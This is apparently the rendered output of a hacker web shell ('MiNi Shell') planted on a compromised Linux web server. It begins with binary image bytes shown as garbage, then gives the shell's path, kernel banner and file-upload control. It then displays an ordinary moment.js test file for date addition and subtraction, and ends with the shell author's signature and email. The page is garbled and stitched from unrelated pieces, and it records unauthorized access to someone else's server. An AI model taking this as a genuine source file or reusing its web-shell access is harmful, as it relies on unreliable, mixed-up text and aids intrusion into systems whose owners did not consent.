JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor/bower-asset/moment/src/test/moment/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/vendor/bower-asset/moment/src/test/moment/add_subtract.js

import { module, test } from '../qunit';
import moment from '../../moment';

module('add and subtract');

test('add short reverse args', function (assert) {
    var a = moment(),
        b,
        c,
        d;
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(a.add({ ms: 50 }).milliseconds(), 550, 'Add milliseconds');
    assert.equal(a.add({ s: 1 }).seconds(), 9, 'Add seconds');
    assert.equal(a.add({ m: 1 }).minutes(), 8, 'Add minutes');
    assert.equal(a.add({ h: 1 }).hours(), 7, 'Add hours');
    assert.equal(a.add({ d: 1 }).date(), 13, 'Add date');
    assert.equal(a.add({ w: 1 }).date(), 20, 'Add week');
    assert.equal(a.add({ M: 1 }).month(), 10, 'Add month');
    assert.equal(a.add({ y: 1 }).year(), 2012, 'Add year');
    assert.equal(a.add({ Q: 1 }).month(), 1, 'Add quarter');

    b = moment([2010, 0, 31]).add({ M: 1 });
    c = moment([2010, 1, 28]).subtract({ M: 1 });
    d = moment([2010, 1, 28]).subtract({ Q: 1 });

    assert.equal(b.month(), 1, 'add month, jan 31st to feb 28th');
    assert.equal(b.date(), 28, 'add month, jan 31st to feb 28th');
    assert.equal(c.month(), 0, 'subtract month, feb 28th to jan 28th');
    assert.equal(c.date(), 28, 'subtract month, feb 28th to jan 28th');
    assert.equal(
        d.month(),
        10,
        'subtract quarter, feb 28th 2010 to nov 28th 2009'
    );
    assert.equal(
        d.date(),
        28,
        'subtract quarter, feb 28th 2010 to nov 28th 2009'
    );
    assert.equal(
        d.year(),
        2009,
        'subtract quarter, feb 28th 2010 to nov 28th 2009'
    );
});

test('add long reverse args', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(
        a.add({ milliseconds: 50 }).milliseconds(),
        550,
        'Add milliseconds'
    );
    assert.equal(a.add({ seconds: 1 }).seconds(), 9, 'Add seconds');
    assert.equal(a.add({ minutes: 1 }).minutes(), 8, 'Add minutes');
    assert.equal(a.add({ hours: 1 }).hours(), 7, 'Add hours');
    assert.equal(a.add({ days: 1 }).date(), 13, 'Add date');
    assert.equal(a.add({ weeks: 1 }).date(), 20, 'Add week');
    assert.equal(a.add({ months: 1 }).month(), 10, 'Add month');
    assert.equal(a.add({ years: 1 }).year(), 2012, 'Add year');
    assert.equal(a.add({ quarters: 1 }).month(), 1, 'Add quarter');
});

test('add long singular reverse args', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(
        a.add({ millisecond: 50 }).milliseconds(),
        550,
        'Add milliseconds'
    );
    assert.equal(a.add({ second: 1 }).seconds(), 9, 'Add seconds');
    assert.equal(a.add({ minute: 1 }).minutes(), 8, 'Add minutes');
    assert.equal(a.add({ hour: 1 }).hours(), 7, 'Add hours');
    assert.equal(a.add({ day: 1 }).date(), 13, 'Add date');
    assert.equal(a.add({ week: 1 }).date(), 20, 'Add week');
    assert.equal(a.add({ month: 1 }).month(), 10, 'Add month');
    assert.equal(a.add({ year: 1 }).year(), 2012, 'Add year');
    assert.equal(a.add({ quarter: 1 }).month(), 1, 'Add quarter');
});

test('add string long reverse args', function (assert) {
    var a = moment(),
        b;

    test.expectedDeprecations('moment().add(period, number)');

    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    b = a.clone();

    assert.equal(
        a.add('millisecond', 50).milliseconds(),
        550,
        'Add milliseconds'
    );
    assert.equal(a.add('second', 1).seconds(), 9, 'Add seconds');
    assert.equal(a.add('minute', 1).minutes(), 8, 'Add minutes');
    assert.equal(a.add('hour', 1).hours(), 7, 'Add hours');
    assert.equal(a.add('day', 1).date(), 13, 'Add date');
    assert.equal(a.add('week', 1).date(), 20, 'Add week');
    assert.equal(a.add('month', 1).month(), 10, 'Add month');
    assert.equal(a.add('year', 1).year(), 2012, 'Add year');
    assert.equal(b.add('day', '01').date(), 13, 'Add date');
    assert.equal(a.add('quarter', 1).month(), 1, 'Add quarter');
});

test('add string long singular reverse args', function (assert) {
    var a = moment(),
        b;

    test.expectedDeprecations('moment().add(period, number)');

    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    b = a.clone();

    assert.equal(
        a.add('milliseconds', 50).milliseconds(),
        550,
        'Add milliseconds'
    );
    assert.equal(a.add('seconds', 1).seconds(), 9, 'Add seconds');
    assert.equal(a.add('minutes', 1).minutes(), 8, 'Add minutes');
    assert.equal(a.add('hours', 1).hours(), 7, 'Add hours');
    assert.equal(a.add('days', 1).date(), 13, 'Add date');
    assert.equal(a.add('weeks', 1).date(), 20, 'Add week');
    assert.equal(a.add('months', 1).month(), 10, 'Add month');
    assert.equal(a.add('years', 1).year(), 2012, 'Add year');
    assert.equal(b.add('days', '01').date(), 13, 'Add date');
    assert.equal(a.add('quarters', 1).month(), 1, 'Add quarter');
});

test('add string short reverse args', function (assert) {
    var a = moment();
    test.expectedDeprecations('moment().add(period, number)');

    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(a.add('ms', 50).milliseconds(), 550, 'Add milliseconds');
    assert.equal(a.add('s', 1).seconds(), 9, 'Add seconds');
    assert.equal(a.add('m', 1).minutes(), 8, 'Add minutes');
    assert.equal(a.add('h', 1).hours(), 7, 'Add hours');
    assert.equal(a.add('d', 1).date(), 13, 'Add date');
    assert.equal(a.add('w', 1).date(), 20, 'Add week');
    assert.equal(a.add('M', 1).month(), 10, 'Add month');
    assert.equal(a.add('y', 1).year(), 2012, 'Add year');
    assert.equal(a.add('Q', 1).month(), 1, 'Add quarter');
});

test('add string long', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(
        a.add(50, 'millisecond').milliseconds(),
        550,
        'Add milliseconds'
    );
    assert.equal(a.add(1, 'second').seconds(), 9, 'Add seconds');
    assert.equal(a.add(1, 'minute').minutes(), 8, 'Add minutes');
    assert.equal(a.add(1, 'hour').hours(), 7, 'Add hours');
    assert.equal(a.add(1, 'day').date(), 13, 'Add date');
    assert.equal(a.add(1, 'week').date(), 20, 'Add week');
    assert.equal(a.add(1, 'month').month(), 10, 'Add month');
    assert.equal(a.add(1, 'year').year(), 2012, 'Add year');
    assert.equal(a.add(1, 'quarter').month(), 1, 'Add quarter');
});

test('add string long singular', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(
        a.add(50, 'milliseconds').milliseconds(),
        550,
        'Add milliseconds'
    );
    assert.equal(a.add(1, 'seconds').seconds(), 9, 'Add seconds');
    assert.equal(a.add(1, 'minutes').minutes(), 8, 'Add minutes');
    assert.equal(a.add(1, 'hours').hours(), 7, 'Add hours');
    assert.equal(a.add(1, 'days').date(), 13, 'Add date');
    assert.equal(a.add(1, 'weeks').date(), 20, 'Add week');
    assert.equal(a.add(1, 'months').month(), 10, 'Add month');
    assert.equal(a.add(1, 'years').year(), 2012, 'Add year');
    assert.equal(a.add(1, 'quarters').month(), 1, 'Add quarter');
});

test('add string short', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(a.add(50, 'ms').milliseconds(), 550, 'Add milliseconds');
    assert.equal(a.add(1, 's').seconds(), 9, 'Add seconds');
    assert.equal(a.add(1, 'm').minutes(), 8, 'Add minutes');
    assert.equal(a.add(1, 'h').hours(), 7, 'Add hours');
    assert.equal(a.add(1, 'd').date(), 13, 'Add date');
    assert.equal(a.add(1, 'w').date(), 20, 'Add week');
    assert.equal(a.add(1, 'M').month(), 10, 'Add month');
    assert.equal(a.add(1, 'y').year(), 2012, 'Add year');
    assert.equal(a.add(1, 'Q').month(), 1, 'Add quarter');
});

test('add strings string short reversed', function (assert) {
    var a = moment();
    test.expectedDeprecations('moment().add(period, number)');

    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(a.add('ms', '50').milliseconds(), 550, 'Add milliseconds');
    assert.equal(a.add('s', '1').seconds(), 9, 'Add seconds');
    assert.equal(a.add('m', '1').minutes(), 8, 'Add minutes');
    assert.equal(a.add('h', '1').hours(), 7, 'Add hours');
    assert.equal(a.add('d', '1').date(), 13, 'Add date');
    assert.equal(a.add('w', '1').date(), 20, 'Add week');
    assert.equal(a.add('M', '1').month(), 10, 'Add month');
    assert.equal(a.add('y', '1').year(), 2012, 'Add year');
    assert.equal(a.add('Q', '1').month(), 1, 'Add quarter');
});

test('subtract strings string short reversed', function (assert) {
    var a = moment();
    test.expectedDeprecations('moment().subtract(period, number)');

    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(
        a.subtract('ms', '50').milliseconds(),
        450,
        'Subtract milliseconds'
    );
    assert.equal(a.subtract('s', '1').seconds(), 7, 'Subtract seconds');
    assert.equal(a.subtract('m', '1').minutes(), 6, 'Subtract minutes');
    assert.equal(a.subtract('h', '1').hours(), 5, 'Subtract hours');
    assert.equal(a.subtract('d', '1').date(), 11, 'Subtract date');
    assert.equal(a.subtract('w', '1').date(), 4, 'Subtract week');
    assert.equal(a.subtract('M', '1').month(), 8, 'Subtract month');
    assert.equal(a.subtract('y', '1').year(), 2010, 'Subtract year');
    assert.equal(a.subtract('Q', '1').month(), 5, 'Subtract quarter');
});

test('add strings string short', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(a.add('50', 'ms').milliseconds(), 550, 'Add milliseconds');
    assert.equal(a.add('1', 's').seconds(), 9, 'Add seconds');
    assert.equal(a.add('1', 'm').minutes(), 8, 'Add minutes');
    assert.equal(a.add('1', 'h').hours(), 7, 'Add hours');
    assert.equal(a.add('1', 'd').date(), 13, 'Add date');
    assert.equal(a.add('1', 'w').date(), 20, 'Add week');
    assert.equal(a.add('1', 'M').month(), 10, 'Add month');
    assert.equal(a.add('1', 'y').year(), 2012, 'Add year');
    assert.equal(a.add('1', 'Q').month(), 1, 'Add quarter');
});

test('add no string with milliseconds default', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(a.add(50).milliseconds(), 550, 'Add milliseconds');
});

test('subtract strings string short', function (assert) {
    var a = moment();
    a.year(2011);
    a.month(9);
    a.date(12);
    a.hours(6);
    a.minutes(7);
    a.seconds(8);
    a.milliseconds(500);

    assert.equal(
        a.subtract('50', 'ms').milliseconds(),
        450,
        'Subtract milliseconds'
    );
    assert.equal(a.subtract('1', 's').seconds(), 7, 'Subtract seconds');
    assert.equal(a.subtract('1', 'm').minutes(), 6, 'Subtract minutes');
    assert.equal(a.subtract('1', 'h').hours(), 5, 'Subtract hours');
    assert.equal(a.subtract('1', 'd').date(), 11, 'Subtract date');
    assert.equal(a.subtract('1', 'w').date(), 4, 'Subtract week');
    assert.equal(a.subtract('1', 'M').month(), 8, 'Subtract month');
    assert.equal(a.subtract('1', 'y').year(), 2010, 'Subtract year');
    assert.equal(a.subtract('1', 'Q').month(), 5, 'Subtract quarter');
});

test('add across DST', function (assert) {
    // Detect Safari bug and bail. Hours on 13th March 2011 are shifted
    // with 1 ahead.
    if (new Date(2011, 2, 13, 5, 0, 0).getHours() !== 5) {
        assert.expect(0);
        return;
    }

    var a = moment(new Date(2011, 2, 12, 5, 0, 0)),
        b = moment(new Date(2011, 2, 12, 5, 0, 0)),
        c = moment(new Date(2011, 2, 12, 5, 0, 0)),
        d = moment(new Date(2011, 2, 12, 5, 0, 0)),
        e = moment(new Date(2011, 2, 12, 5, 0, 0));
    a.add(1, 'days');
    b.add(24, 'hours');
    c.add(1, 'months');
    e.add(1, 'quarter');

    assert.equal(
        a.hours(),
        5,
        'adding days over DST difference should result in the same hour'
    );
    if (b.isDST() && !d.isDST()) {
        assert.equal(
            b.hours(),
            6,
            'adding hours over DST difference should result in a different hour'
        );
    } else if (!b.isDST() && d.isDST()) {
        assert.equal(
            b.hours(),
            4,
            'adding hours over DST difference should result in a different hour'
        );
    } else {
        assert.equal(
            b.hours(),
            5,
            'adding hours over DST difference should result in a same hour if the timezone does not have daylight savings time'
        );
    }
    assert.equal(
        c.hours(),
        5,
        'adding months over DST difference should result in the same hour'
    );
    assert.equal(
        e.hours(),
        5,
        'adding quarters over DST difference should result in the same hour'
    );
});

test('add decimal values of days and months', function (assert) {
    assert.equal(
        moment([2016, 3, 3]).add(1.5, 'days').date(),
        5,
        'adding 1.5 days is rounded to adding 2 day'
    );
    assert.equal(
        moment([2016, 3, 3]).add(-1.5, 'days').date(),
        1,
        'adding -1.5 days is rounded to adding -2 day'
    );
    assert.equal(
        moment([2016, 3, 1]).add(-1.5, 'days').date(),
        30,
        'adding -1.5 days on first of month wraps around'
    );
    assert.equal(
        moment([2016, 3, 3]).add(1.5, 'months').month(),
        5,
        'adding 1.5 months adds 2 months'
    );
    assert.equal(
        moment([2016, 3, 3]).add(-1.5, 'months').month(),
        1,
        'adding -1.5 months adds -2 months'
    );
    assert.equal(
        moment([2016, 0, 3]).add(-1.5, 'months').month(),
        10,
        'adding -1.5 months at start of year wraps back'
    );
    assert.equal(
        moment([2016, 3, 3]).subtract(1.5, 'days').date(),
        1,
        'subtract 1.5 days is rounded to subtract 2 day'
    );
    assert.equal(
        moment([2016, 3, 2]).subtract(1.5, 'days').date(),
        31,
        'subtract 1.5 days subtracts 2 days'
    );
    assert.equal(
        moment([2016, 1, 1]).subtract(1.1, 'days').date(),
        31,
        'subtract 1.1 days wraps to previous month'
    );
    assert.equal(
        moment([2016, 3, 3]).subtract(-1.5, 'days').date(),
        5,
        'subtract -1.5 days is rounded to subtract -2 day'
    );
    assert.equal(
        moment([2016, 3, 30]).subtract(-1.5, 'days').date(),
        2,
        'subtract -1.5 days on last of month wraps around'
    );
    assert.equal(
        moment([2016, 3, 3]).subtract(1.5, 'months').month(),
        1,
        'subtract 1.5 months subtract 2 months'
    );
    assert.equal(
        moment([2016, 3, 3]).subtract(-1.5, 'months').month(),
        5,
        'subtract -1.5 months subtract -2 month'
    );
    assert.equal(
        moment([2016, 11, 31]).subtract(-1.5, 'months').month(),
        1,
        'subtract -1.5 months at end of year wraps back'
    );
    assert.equal(
        moment([2016, 0, 1]).add(1.5, 'years').format('YYYY-MM-DD'),
        '2017-07-01',
        'add 1.5 years adds 1 year six months'
    );
    assert.equal(
        moment([2016, 0, 1]).add(1.6, 'years').format('YYYY-MM-DD'),
        '2017-08-01',
        'add 1.6 years becomes 1.6*12 = 19.2, round, 19 months'
    );
    assert.equal(
        moment([2016, 0, 1]).add(1.1, 'quarters').format('YYYY-MM-DD'),
        '2016-04-01',
        'add 1.1 quarters 1.1*3=3.3, round, 3 months'
    );
});

test('add/subtract ISO week', function (assert) {
    assert.equal(
        moment([2016, 3, 15]).subtract(1, 'W').date(),
        8,
        'subtract 1 iso week short'
    );
    assert.equal(
        moment([2016, 3, 15]).subtract(1, 'isoweek').date(),
        8,
        'subtract 1 iso week long singular'
    );
    assert.equal(
        moment([2016, 3, 15]).subtract(1, 'isoweeks').date(),
        8,
        'subtract 1 iso weeks long'
    );

    assert.equal(
        moment([2016, 3, 15]).add(1, 'W').date(),
        22,
        'add 1 iso week short'
    );
    assert.equal(
        moment([2016, 3, 15]).add(1, 'isoweek').date(),
        22,
        'add 1 week long singular'
    );
    assert.equal(
        moment([2016, 3, 15]).add(1, 'isoweeks').date(),
        22,
        'add 1 weeks long'
    );
});

Creat By MiNi SheLL
Email: jattceo@gmail.com